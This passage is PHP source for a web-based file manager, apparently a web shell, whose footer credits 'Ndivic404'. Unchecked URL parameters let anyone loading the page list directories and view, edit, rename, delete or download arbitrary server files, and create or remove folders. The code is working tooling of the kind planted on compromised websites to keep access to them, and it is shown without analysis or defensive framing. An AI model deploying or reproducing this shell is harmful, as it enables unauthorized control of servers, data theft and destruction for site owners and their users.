- $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
- if(!mkdir($new_folder)) {
- $act = "<font color='red'>Permission denied</font>";
- } else {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- }}
- echo $act;
- echo "<form method='post' class='input-group'>
- <span class='input-group-btn'><button type='button' class='btn btn-default'><b>Folder Name:</b></button></span>
- <input type='text' name='newfolder' class='form-control'>
- <span class='input-group-btn'><input type='submit' name='new_save_folder' class='btn btn-danger' value='Submit'></span>
- </form>";
- } elseif($_GET['act'] == 'rename_dir') {
- if($_POST['dir_rename']) {
- $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
- if($dir_rename) {
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color='red'>Permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "<form method='post' class='input-group'>
- <span class='input-group-btn'><button type='button' class='btn btn-default'><b>Folder Name:</b></button></span>
- <input type='text' value='".basename($dir)."' name='fol_rename' class='form-control'>
- <span class='input-group-btn'><input type='submit' name='dir_rename' class='btn btn-danger' value='Rename'></span>
- </form>";
- } elseif($_GET['act'] == 'delete_dir') {
- $delete_dir = rmdir($dir);
- if($delete_dir) {
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color='red'>could not remove ".basename($dir)."</font>";
- }
- echo $act;
- } elseif($_GET['act'] == 'view') {
- echo "<b>Filename:</b> <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<textarea readonly class='form-control' style='height:400px'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
- } elseif($_GET['act'] == 'edit') {
- if($_POST['save']) {
- $save = file_put_contents($_GET['file'], $_POST['src']);
- if($save) {
- $act = "<font color='green'>Saved!</font>";
- } else {
- $act = "<font color='red'>Permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "<b>Filename:</b> <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<form method='post' class='form-group'>
- <textarea name='src' class='form-control' style='height:400px'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
- <input type='submit' value='Save' name='save' class='btn btn-danger btn-block'>
- </form>";
- } elseif($_GET['act'] == 'rename') {
- if($_POST['do_rename']) {
- $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
- if($rename) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color='red'>Permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "Filename: <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<form method='post' class='input-group'>
- <input type='text' value='".basename($_GET['file'])."' name='rename' class='form-control'>
- <span class='input-group-btn'><input type='submit' name='do_rename' class='btn btn-danger' value='Rename'></span>
- </form>";
- } elseif($_GET['act'] == 'delete') {
- $delete = unlink($_GET['file']);
- if($delete) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color='red'>Permission denied</font>";
- }
- echo $act;
- } else {
- if(is_dir($dir) === true) {
- if(!is_readable($dir)) {
- echo "<font color='red'>Can't open directory. ( not readable )</font>";
- } else {
- echo '<table class="table table-bordered table-hover table-responsive">
- <tr>
- <th>Name</th>
- <th>Type</th>
- <th>Size</th>
- <th>Last Modified</th>
- <th>Owner/Group</th>
- <th>Permission</th>
- <th>Action</th>
- </tr>';
- $scandir = scandir($dir);
- foreach($scandir as $dirx) {
- $dtype = filetype("$dir/$dirx");
- $dtime = date("F d Y", filemtime("$dir/$dirx"));
- if(function_exists('posix_getpwuid')) {
- $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
- $downer = $downer['name'];
- } else {
- //$downer = $uid;
- $downer = fileowner("$dir/$dirx");
- }
- if(function_exists('posix_getgrgid')) {
- $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
- $dgrp = $dgrp['name'];
- } else {
- $dgrp = filegroup("$dir/$dirx");
- }
- if(!is_dir("$dir/$dirx")) continue;
- if($dirx === '..') {
- $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
- } elseif($dirx === '.') {
- $href = "<a href='?dir=$dir'>$dirx</a>";
- } else {
- $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
- }
- if($dirx === '.' || $dirx === '..') {
- $act_dir = "<a href='?act=newfile&dir=$dir'>New File</a> | <a href='?act=newfolder&dir=$dir'>New Folder</a>";
- } else {
- $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>Rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>Delete</a>";
- }
- echo "<tr>";
- echo "<td><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> $href</td>";
- echo "<td>$dtype</td>";
- echo "<td>-</th></td>";
- echo "<td>$dtime</td>";
- echo "<td>$downer/$dgrp</td>";
- echo "<td>".w("$dir/$dirx",perms("$dir/$dirx"))."</td>";
- echo "<td style='padding-left: 15px;'>$act_dir</td>";
- echo "</tr>";
- }
- }
- } else {
- echo "<font color='red'>can't open directory.</font>";
- }
- foreach($scandir as $file) {
- $ftype = filetype("$dir/$file");
- $ftime = date("F d Y", filemtime("$dir/$file"));
- $size = filesize("$dir/$file")/1024;
- $size = round($size,3);
- if(function_exists('posix_getpwuid')) {
- $fowner = @posix_getpwuid(fileowner("$dir/$file"));
- $fowner = $fowner['name'];
- } else {
- //$downer = $uid;
- $fowner = fileowner("$dir/$file");
- }
- if(function_exists('posix_getgrgid')) {
- $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
- $fgrp = $fgrp['name'];
- } else {
- $fgrp = filegroup("$dir/$file");
- }
- if($size > 1024) {
- $size = round($size/1024,2). 'MB';
- } else {
- $size = $size. 'KB';
- }
- if(!is_file("$dir/$file")) continue;
- echo "<tr>";
- echo "<td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
- echo "<td>$ftype</td>";
- echo "<td>$size</td>";
- echo "<td>$ftime</td>";
- echo "<td>$fowner/$fgrp</td>";
- echo "<td>".w("$dir/$file",perms("$dir/$file"))."</td>";
- echo "<td style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>Edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>Rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>Delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>Download</a></td>";
- echo "</tr>";
- }
- echo "</table>";
- if(!is_readable($dir)) {
- //
- }
- }
- ?>
- </div>
- </div>
- </div>
- </main>
- <footer class="navbar navbar-inverse navbar-fixed-bottom">
- <div class="copy text-center">
- <p class="footer" style="color:white;">Made with <font color="red" size="5px">♥</font> by Ndivic404</p>
- </div>
- </footer>
- </div>
- <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
- </body>
- </html>
Add Comment
Please, Sign In to add comment